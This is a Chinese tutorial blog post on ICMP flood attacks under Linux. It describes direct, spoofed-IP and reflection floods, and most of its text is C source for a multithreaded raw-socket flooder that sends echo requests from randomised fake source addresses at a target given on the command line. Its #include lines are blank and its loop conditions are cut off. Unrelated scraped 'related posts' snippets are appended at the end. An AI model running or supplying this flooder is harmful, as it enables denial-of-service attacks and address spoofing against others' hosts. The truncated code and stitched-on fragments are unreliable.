(20)Linux下ICMP洪水攻击实例

注:所以文章红色字体代表需要特别注意和有问题还未解决的地方,蓝色字体表示需要注意的地方

1.本文所介绍的程序平台

虚拟机为:Red Hat Enterprise Linux 5

2.洪水攻击简介

洪水攻击指的是利用计算机网络技术向目标机发送大量的无用数据报文,使得目标主机忙于处理无用的数据报文而无法提供正常的服务的网络行为。

洪水攻击(FLOOD ATTACK),顾名思义,是用大量的请求来淹没目标机。洪水攻击主要利用了网络协议的安全机制或者直接用十分简单的拼资源的方法来对目标机造成影响。

攻击的手段主要是使用畸形的报文来让目标机进行处理或者等待,一般都是在原始套接字层进行程序设计。洪水攻击主要分为ICMP、UDP和SYN攻击3种类型。

2.1 ICMP洪水攻击

本实例的ICMP代码是简单的直接方法,建立多个线程向同一个主机发送ICMP请求,而本地的IP地址是伪装的。由于程序仅发送响应,不接收响应,容易造成目标主机的宕机。

ICMP Flood是一种在ping基础上形成的,但是用ping程序很少能造成目标机的问题。这里边最大的问题是提高处理的速度。ICMP洪水攻击主要有3种方式。

直接洪水攻击:这样做需要本地主机的带宽与目标主机的带宽进行比拼,可以采用多线程的方法一次性发送多个ICMP请求报文,让目标主机处理过程问题而速度缓慢或者宕机,直接攻击容易暴露自己的源IP地址,被对方反攻。

伪装IP攻击:在直接攻击的基础上,将发生方的IP地址伪装,将直接IP攻击的缺点进行了改进。

反射攻击:与直接攻击和伪装攻击不同,反射攻击不是直接对目标机进行攻击,而是让其他一群主机误认为目标机在像他们发送ICMP请求包,一群主机向目标机发送ICMP应答包,攻击方向一群主机发送ICMP请求,将请求的源地址伪装成目标机的IP地址,这样目标机就成了ICMP回显反射的焦点。

注意下面程序有两个问题。

实例:

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

/* 最多线程数 */

#define MAXCHILD 128

/* 目的IP地址 */

static unsigned long dest = 0;

/* ICMP协议的值 */

static int PROTO_ICMP = -1;

/* 程序活动标志 */

static int alive = -1;

static int rawsock;

/* 随机函数产生函数

*由于系统的函数为伪随机函数

*其与初始化有关,因此每次用不同值进行初始化

*/

static inline ulong

myrandom (int begin, int end)

{

int gap = end - begin +1;

int ret = 0;

/* 用系统时间初始化 */

srand((unsigned)time(0));

/* 产生一个介于begin和end之间的值 */

ret = random()%gap + begin;

return ret;

}

static void DoS_icmp (void );

static void

DoS_icmp (void )

{

struct sockaddr_in to;

struct ip *iph;

struct icmp *icmph;

char *packet;

ulong temp;

int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;

packet =(char *)malloc (pktsize);

iph = (struct ip *) packet;

icmph = (struct icmp *) (packet + sizeof (struct ip));

memset (packet, 0, pktsize);

/* IP的版本,IPv4 */

iph->ip_v = 4;

/* IP头部长度,字节数 */

iph->ip_hl = 5;

/* 服务类型 */

iph->ip_tos = 0;

/* IP报文的总长度 */

iph->ip_len = htons (pktsize);

/* 标识,设置为PID */

iph->ip_id = htons (getpid ());

/* 段的便宜地址 */

iph->ip_off = 0;

/* TTL */

iph->ip_ttl = 0x0;

/* 协议类型 */

iph->ip_p = PROTO_ICMP;

/* 校验和,先填写为0 */

iph->ip_sum = 0;

/* 发送的源地址 */

temp = myrandom(0, 65535);

iph->ip_src = *(struct in_addr *)&temp;

/* 发送目标地址 */

iph->ip_dst = *(struct in_addr*)&dest;

//为什么这个输出会有差别,目的地址应该是一致的啊??

//printf("dst ip: %s\n",inet_ntoa(*(struct in_addr*)&dest));

//printf("src ip : %s , dst ip: %s\n", inet_ntoa(iph->ip_src), inet_ntoa(iph->ip_dst));

/* ICMP类型为回显请求 */

icmph->icmp_type = ICMP_ECHO;

/* 代码为0 */

icmph->icmp_code = 0;

/* 由于数据部分为0,并且代码为0,直接对不为0即icmp_type部分计算 */

icmph->icmp_cksum = htons (~(ICMP_ECHO << 8));

/* 填写发送目的地址部分 */

to.sin_family =AF_INET;

to.sin_addr.s_addr = dest;

to.sin_port = htons(0);

/* 发送数据 */

sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));

/* 释放内存 */

free (packet);

}

static void *

DoS_fun (void * ip)

{

while(alive)

{

DoS_icmp();

//icmp();为什么有没有定义的函数而不报错啊?g++不报错 gcc报错

}

}

/* 信号处理函数,设置退出变量alive */

static void

DoS_sig(int signo)

{

alive = 0;

}

int main(int argc, char *argv[])

{

struct hostent * host = NULL;

struct protoent *protocol = NULL;

char protoname[]= "icmp";

int i = 0;

pthread_t pthread[MAXCHILD];

int err = -1;

unsigned longtemp;

alive = 1;

/* 截取信号CTRL+C */

signal(SIGINT, DoS_sig);

/* 参数是否数量正确 */

if(argc < 2)

{

printf("usage : \n");

return -1;

}

/* 获取协议类型ICMP */

protocol = getprotobyname(protoname);

if (protocol == NULL)

{

perror("getprotobyname()");

return -1;

}

PROTO_ICMP = protocol->p_proto;

/* 输入的目的地址为字符串IP地址 */

dest = inet_addr(argv[1]);

if(dest == INADDR_NONE)

{

/* 为DNS地址 */

host = gethostbyname(argv[1]);

if(host == NULL)

{

perror("gethostbyname");

return -1;

}

temp = inet_addr(host->h_addr);

/* 将地址拷贝到dest中 */

memcpy((char *)&dest, &temp, host->h_length);

}

printf("dst ip: %s\n", inet_ntoa(*(struct in_addr*)&dest));

sleep(5);

/* 建立原始socket */

rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);

if (rawsock < 0)

rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);

/* 设置IP选项 */

setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));

/* 建立多个线程协同工作 */

for(i=0; i

{

err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i);

}

/* 等待线程结束 */

for(i=0; i

{

pthread_join(pthread[i], NULL);

}

printf("over \n");

close(rawsock);

return 0;

}

linux洪水攻击路由器,(20)Linux下ICMP洪水攻击实例相关推荐

  1. linux 格式工厂,在Deepin 20系统下安装格式工厂deb包后字体很小的解决方案

    网上有人分享出了格式工厂deb包com.formatfactory.spark_5.6.0spark0_amd64.deb,该包可安装在Deepin 20系统下,其它的一切正常,但是字体很小,以下是针 ...

  2. linux :YOLO5配置(ubuntu 20.04 下安装运行yolov5)

    ubuntu 20.04 下安装运行yolov5 新建文件夹,安装python 安装 python-pip: 克隆YOLOv5Git code 配置YOLO环境 安装yolov5: ubuntu 20 ...

  3. wifi 中间人攻击_公共wifi下的中间人攻击

    现在许多地方都提供免费公共WiFi.作为使用服务的额外好处,机场,酒店和咖啡馆都在提供免费的网络连接.对于许多人来说,能够在旅途中连接到免费的互联网似乎是理想的选择.能够访问他们的工作电子邮件或在线共 ...

  4. linux ipv6添加路由器,使用Linux搭建IPV6路由器(CentOS版)

    Building a IPV6 Router with Linux(CentOS) Version 1.0.0 Date 2010-11-20 Author ipcpu Website http:// ...

  5. TCP/IP攻击实验(ARP,ICMP,SYN,RST,TCP会话劫持)

    一.实验背景 由于TCP/IP协议是Internet的基础协议,从开始设计的时候并没有考虑到现在网络上如此多的威胁,由此导致了许多形形色色的攻击方法,一般如果是针对协议原理的攻击,尤其DDOS,我们将 ...

  6. 局域网dns欺骗攻击不能上网_DNS欺诈,局域网攻击,如何解决?

    老是受到这种攻击,见附图,攻击者IP不变,而MAC值确是变动的.我怀疑我经常只能上QQ,不能上网就是这个原因引起的,请哪位大侠指点下,追踪不到攻击者,这种攻击是局域网内,还是网外... 老是受到这种攻 ...

  7. Linux下防御ddos攻击

    1.Linux下防御ddos攻击 导读 Linux服务器在运营过程中可能会受到黑客攻击,常见的攻击方式有SYN,DDOS等.通过更换IP,查找被攻击的站点可能避开攻击,但是中断服务的时间比较长.比较彻 ...

  8. linux下查看cc攻击

    什么是CC攻击?CC攻击就是利用大量代理服务器对目标计算机发起大量连接,导致目标服务器资源枯竭造成拒绝服务.那么如何判断查询CC攻击呢?本文主要介绍了一些Linux下判断CC攻击的命令. 查看所有80 ...

  9. Linux下基本栈溢出攻击【转】

    转自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415 版权声明:本文为博主原创文章,未经博主允许不得转载. 目录(?)[ ...

  10. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

最新文章

  1. 东大教务处验证码破解
  2. linux不自动创建sda1,linux下头挂载新硬盘(转)
  3. SAP UI5 walkthrough 3 - sapUiBody
  4. 【TensorFlow】——合并与分割(stack、concat、split)
  5. Unity3D学习笔记之九为场景添加细节(二)
  6. compress后的bytearray再decode变大_笔记本电脑风扇噪音变大的原因及其解决办法
  7. 多线程讲座【by lilei005】
  8. 关于深度学习,我们4年时间写了一本1400页的全栈手册
  9. html和css如何制作小球,[网页设计]使用CSS3动画模拟实现小球自由落体效果
  10. OpenSSL命令---pkcs7
  11. next_permutation()
  12. 【VHDL】四位全减器
  13. 联想服务器加装显卡无显示,Lenovo双显卡机型安装显卡驱动方案汇总
  14. 程序员是怎么分享微信二维码的
  15. 2022年,4款值得用的报表工具软件推荐!
  16. Tensorflow2对GPU内存的分配策略
  17. JS做的一款动感超酷banner
  18. 【转】偷偷告诉你快速提高app下载量和安装量
  19. Idea使用gradle集成Lombok插件build时报找不到符号错误
  20. 联网游戏,面部表情捕捉,New Prefabs工作流程预览以及Unite Berlin的更多功能

热门文章

  1. Gauntlet风险评级上线: DeFi杠杆率多高?会不会崩盘?
  2. Unity+Kinect 开发脚本介绍
  3. 网页设计 颜色搭配
  4. 小程序:选举投票问题未知行数输入问题(含代码)
  5. H3CNE GB0-191最新题库 加解释四份材料
  6. 《When you are old》一如苇中的风,轻柔却难忘
  7. 微软收购雅虎不如收购摩托罗拉
  8. 微软成功收购雅虎五大理由:可抗衡谷歌
  9. 盗版windows7危害大
  10. USB-SC-09(假冒PL2303HXA芯片)WIN7-64位驱动之终极大法